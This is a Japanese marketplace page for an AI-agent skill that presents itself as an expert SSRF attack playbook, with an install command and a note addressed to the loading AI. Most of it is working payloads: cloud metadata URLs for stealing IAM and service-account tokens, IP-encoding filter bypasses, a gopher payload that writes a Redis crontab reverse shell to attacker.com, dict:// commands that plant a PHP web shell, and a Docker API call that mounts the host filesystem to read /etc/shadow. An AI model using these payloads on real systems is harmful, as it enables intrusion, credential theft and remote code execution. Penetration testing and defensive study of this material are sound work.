mcpField
S
ssrf-server-side-request-forgery

ssrf-server-side-request-forgery

github.com/yaklangセキュリティ2.6k3.9k 回インストール6 週間前に更新
リポジトリ

ssrf-server-side-request-forgery について

ssrf-server-side-request-forgeryは、サーバー側のURLリクエストフォージェリを調査するセキュリティテストスキルです。SSRFの入口発見、ブラインドSSRFの検証、URLフィルターの回避、クラウドメタデータや内部サービスの確認方法を扱い、応用シナリオの資料もあります。

主な機能

  1. 01SSRFの入口発見
  2. 02ブラインドSSRFの確認方法
  3. 03URL・IPフィルターの回避手法
  4. 04クラウドメタデータの確認
  5. 05内部サービスの露出テスト
  6. 06応用シナリオの参考資料

活用シーン

  1. 01URL取得パラメーターのテスト
  2. 02ブラインドな外向き通信の確認
  3. 03URL検証対策の評価
  4. 04内部サービス露出の点検

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill ssrf-server-side-request-forgery

インストール後、Claude Code で/ssrf-server-side-request-forgeryを入力して読み込まれたか確認します。

同梱ファイルSCENARIOS.mdURL_PARSER_TRICKS.md

詳細

スキル:サーバーサイドリクエストフォージェリ(SSRF)— エキスパート向け攻撃プレイブック

AI LOAD INSTRUCTION:エキスパート向けSSRFテクニックです。URLフィルターの回避、クラウドメタデータエンドポイント、プロトコル悪用、ブラインドSSRFの検出、RCEへの連鎖を扱います。ベースモデルは基本的な169.254.169.254について知っていますが、このファイルでは見落とされがちな内容を扱います。実際のCVEチェーン、DNSリバインディングの詳細、K8s SSRF、SSRF → Redis → RCEの完全なエクスプロイトについては、関連するSCENARIOS.mdを読み込んでください。

0. クイックスタート

拡張シナリオ

次の内容が必要な場合は、SCENARIOS.mdも読み込んでください:

  • WebLogic SSRF(CVE-2014-4210)— uddiexplorer/SearchPublicRegistries.jsp + operatorパラメーター + %0D%0A CRLFによるRedisコマンドのインジェクション
  • SSRF → 内部Redis → crontabへのリバースシェル書き込みに至る完全なペイロードチェーン
  • DNSリバインディングの詳細 — TTL=0の手法、初回は正規の名前解決、2回目は内部への名前解決、rbndr.usサービス
  • DNSリバインディングを利用したKubernetes SSRF(CVE-2020-8555)と回避手法(CVE-2020-8562)
  • PDF/スクリーンショット生成ツールを介したSSRF — HTMLからPDFへの変換における<iframe>と<img>
  • Gopherプロトコルによる完全なTCPインジェクション — Gopherusを介したRedis、MySQL、FastCGIのペイロード
  • フィルター回避のためのURLパーサーの混乱 — #@、\@、%00@、IPv4マップIPv6
高度なリファレンス

次の内容が必要な場合は、URL_PARSER_TRICKS.mdも読み込んでください:

  • URLパーサーの差異一覧:Python urllib、requests、Java URL、PHP parse_url、Node url.parse、Go net/urlの比較
  • クラウドメタデータエンドポイントの完全な一覧(AWS IMDSv1/v2、GCP、Azure、DigitalOcean、Alibaba Cloud、Oracle Cloud、Kubernetes、Hetzner、OpenStack)
  • Redis、MySQL、SMTP、FastCGI、Memcached向けのgopher://ペイロードレシピ(エンコード規則を含む)
  • TTL操作とTOCTOU分析を含むDNSリバインディングの詳細な攻撃フロー
  • PDF/wkhtmltopdf/WeasyPrint/Chrome headless/PhantomJSにおけるSSRFパターンと情報流出手法

URLを取得するパラメーターを見つけたばかりなら、まずここで直接確認してください。

初回確認用ペイロード
http://127.0.0.1/
http://localhost/
http://169.254.169.254/latest/meta-data/
http://[::1]/
http://127.1/
ホスト検証の回避パターン
検証タイプ試す値
localhost文字列をブロック127.0.0.1、127.1、[::1]
直接のIPのみブロック内部DNS名、10進数/8進数/16進数形式のIP
プレフィックスによる許可リストユーザー名部分、サブドメインの混同、リダイレクトチェーン
リダイレクトに追従内部ターゲットへリダイレクトする無害な外部URL
一度解析して二度取得混合エンコーディング、またはDNSリバインディング形式のターゲット
プロトコルのルーティング
目的プロトコル/ターゲット
クラウド認証情報メタデータHTTPエンドポイント
内部HTTP管理画面http://127.0.0.1:port/
Redis/生TCP形式の悪用gopher://
ローカルファイル読み取りの候補file://
辞書/バナーテストdict://

1. SSRFの攻撃対象を探す

DNS名、IPアドレス、またはURLを含むあらゆるパラメーターを探してください:

loc=           url=        path=         endpoint=
imageUrl=      dest=       redirect=     uri=
callback=      load=       file=         resource=
link=          src=        data=         ref=

見落とされやすいSSRFの攻撃ベクトル:

  • PDF/スクリーンショットの生成(キャプチャするURL)
  • Webhook設定フィールド
  • URL経由のインポート/エクスポート(CSVインポート、RSS/Atomフィード)
  • OAuthリダイレクトURI(サーバー側の取得を引き起こす場合があります)
  • プロキシチェーン内のX-Forwarded-Host/X-Real-IPヘッダー
  • 外部エンティティを含むXMLのDOCTYPE(file://、http://)
  • GraphQLの@linkディレクティブ(フェデレーション)
  • <link>のプリロードヘッダーを解析するContent-Type: text/htmlのページ

2. 基本的な確認方法

Step 1: Supply your Burp Collaborator / interact.sh URL
        → Check server initiates outbound connection (full SSRF confirmed)

Step 2: If no callback → test time-based (open port = fast, closed = slow/reset):
        Compare response time for:
        http://192.168.1.1:22   (likely open → fast)
        http://192.168.1.1:9999 (likely closed → slow/timeout)

Step 3: Try accessing localhost services:
        http://127.0.0.1:8080
        http://127.0.0.1:22
        http://127.0.0.1:6379  (Redis)
        http://127.0.0.1:9200  (Elasticsearch)
        http://127.0.0.1:5984  (CouchDB)
        http://127.0.0.1:2375  (Docker daemon — critical!)
        http://127.0.0.1:4840  (internal admin)

3. クラウドメタデータエンドポイント — 必ず試す

AWS EC2 IMDSv1(認証不要 — 重大)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
AWS IMDSv2(トークンが必要 — ただしSSRFでトークンをGETできるか確認)
Step 1: PUT http://169.254.169.254/latest/api/token
        Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
Step 2: GET http://169.254.169.254/latest/meta-data/
        Header: X-aws-ec2-metadata-token: TOKEN

SSRFがカスタムヘッダーに対応している場合 → IMDSv2を完全に回避できます。

Google Cloud
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Headers: Metadata-Flavor: Google
Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Headers: Metadata: true
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/
Alibaba Cloud
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
Kubernetesサービスアカウント
file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
http://kubernetes.default.svc/api/v1/namespaces/default/secrets

4. IPアドレスフィルターの回避テクニック

169.254.169.254、127.0.0.1、localhostがブロックされる場合:

Localhostの別表記
127.0.0.1
127.1
127.0.1
127.000.000.001    ← octal padding
0x7f000001         ← hex
2130706433         ← decimal (0x7f000001)
0177.0000.0000.0001  ← octal
[::]               ← IPv6 loopback
[::1]              ← IPv6 loopback
[::ffff:127.0.0.1] ← IPv4-mapped IPv6
169.254.169.254の別表記
169.254.169.254
2852039166               ← decimal
0xa9fea9fe               ← hex
0251.0376.0251.0376      ← octal
[::ffff:169.254.169.254] ← IPv6
169.254.169.254.nip.io   ← DNS rebinding service
プライベートネットワーク範囲
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
fc00::/7  ← IPv6 private
DNS 入力によるフィルター回避

フィルターがホスト名ではなく、DNS で解決された IP をチェックする場合:

http://attacker.com/  ← DNS A record points to 169.254.169.254

DNS リバインディングを使用します。最初のルックアップで有効な IP を返すとフィルターを通過し、その後のリクエストで内部 IP を返します。


5. URL スキーム攻撃

http:// が許可されている場合、またはフィルタリングが不十分な場合:

file:///etc/passwd
file:///proc/self/environ
file:///proc/net/arp   ← reveals internal network ARP table
file:///proc/net/tcp   ← open network connections

dict://127.0.0.1:6379/INFO   ← Redis INFO command via dict://

gopher://127.0.0.1:6379/_INFO%0d%0a   ← Redis via gopher
gopher://127.0.0.1:9200/   ← Elasticsearch

sftp://attacker.com:11111/   ← triggers SFTP connection (credential hash)
ldap://attacker.com:389/     ← triggers LDAP bind
ftp://attacker.com/          ← triggers FTP connection
Redis Gopher による SSRF(完全な RCE の可能性あり)
gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0Aping%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0D%0A%0A%0A*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0A%0A%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

6. ブラインド SSRF の検出

レスポンスに取得したコンテンツが反映されない場合:

  1. Burp Collaborator / interact.sh:サーバーからの DNS および HTTP リクエストを確認します
  2. Pingback/Webhook の悪用:アプリケーション独自の Webhook を自分の URL に設定します
  3. タイミング分析:内部の開いているポートと閉じているポートでのレスポンス時間の差を確認します
  4. エラー分析:「ホストが見つかりません」と「接続が拒否されました」と「タイムアウト」のエラーメッセージの違いから、内部ネットワークのトポロジーがわかります

7. 内部サービスの悪用

Docker API(2375、認証なし)
http://127.0.0.1:2375/v1.24/containers/json      ← list containers
http://127.0.0.1:2375/v1.24/images/json          ← list images
# Create privileged container → escape to host:
POST http://127.0.0.1:2375/v1.24/containers/create
{"Image":"alpine","Cmd":["cat","/etc/shadow"],"HostConfig":{"Binds":["/:/host"]}}
Elasticsearch(9200、デフォルトで認証なし)
http://127.0.0.1:9200/_cat/indices
http://127.0.0.1:9200/.kibana/_search
http://127.0.0.1:9200/INDEX_NAME/_search?q=*
Redis(6379、認証なしが一般的)
dict://127.0.0.1:6379/CONFIG:SET:dir:/var/www/html
dict://127.0.0.1:6379/CONFIG:SET:dbfilename:shell.php
dict://127.0.0.1:6379/SET:key:<?php system($_GET[c]);?>
dict://127.0.0.1:6379/BGSAVE
内部管理パネル
http://127.0.0.1:8080/admin
http://127.0.0.1:8443/admin
http://127.0.0.1:9000/actuator   ← Spring Boot actuator (exposed endpoints)
http://127.0.0.1:9000/actuator/env
http://127.0.0.1:9000/actuator/heapdump

8. SSRF とフィルター回避の判断ツリー

SSRF parameter found?
├── Try http://169.254.169.254/ directly → blocked?
│   ├── Try decimal/hex/octal variants
│   ├── Try IPv6 variants [::ffff:169.254.169.254]
│   ├── Try DNS rebinding (nip.io, custom NS)
│   └── Try redirect: attacker.com → 169.254.169.254 (302)
│
├── Try http://127.0.0.1/ → blocked?
│   ├── Try 127.1 / 127.0.1 / 0x7f000001 / 2130706433
│   ├── Try localhost → might not be blocked
│   └── Try IPv6 [::1]
│
├── What protocols are allowed?
│   ├── dict:// → test Redis, Memcached
│   ├── gopher:// → full TCP data injection (target Redis/SMTP)
│   ├── file:// → local file read
│   └── sftp:// ldap:// ftp:// → network interactions
│
└── Blind SSRF → use Burp Collaborator
    └── DNS-only → use DNS rebinding or SSRF with OOB DNS

9. SSRF フィルターの考え方

zseano の手法より:開発者が 169.254.169.254 だけを直接フィルタリングし、http://169.254.169.254/latest/meta-data(フルパス)をフィルタリングしていない場合、または次の点を見落としている場合:

  • IPv6 の同等表現
  • 内部 IP に解決される DNS 名
  • リダイレクトチェーン(サーバーが内部 IP への 302 に従う)

よくある抜け穴:アプリが 127.0.0.1 をフィルタリングしていても、127.1、[::1]、localhost はフィルタリングしていません。

XML を介したアプリケーション層の SSRF(アプリが XML を解析する場合):

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<request>&xxe;</request>

コメント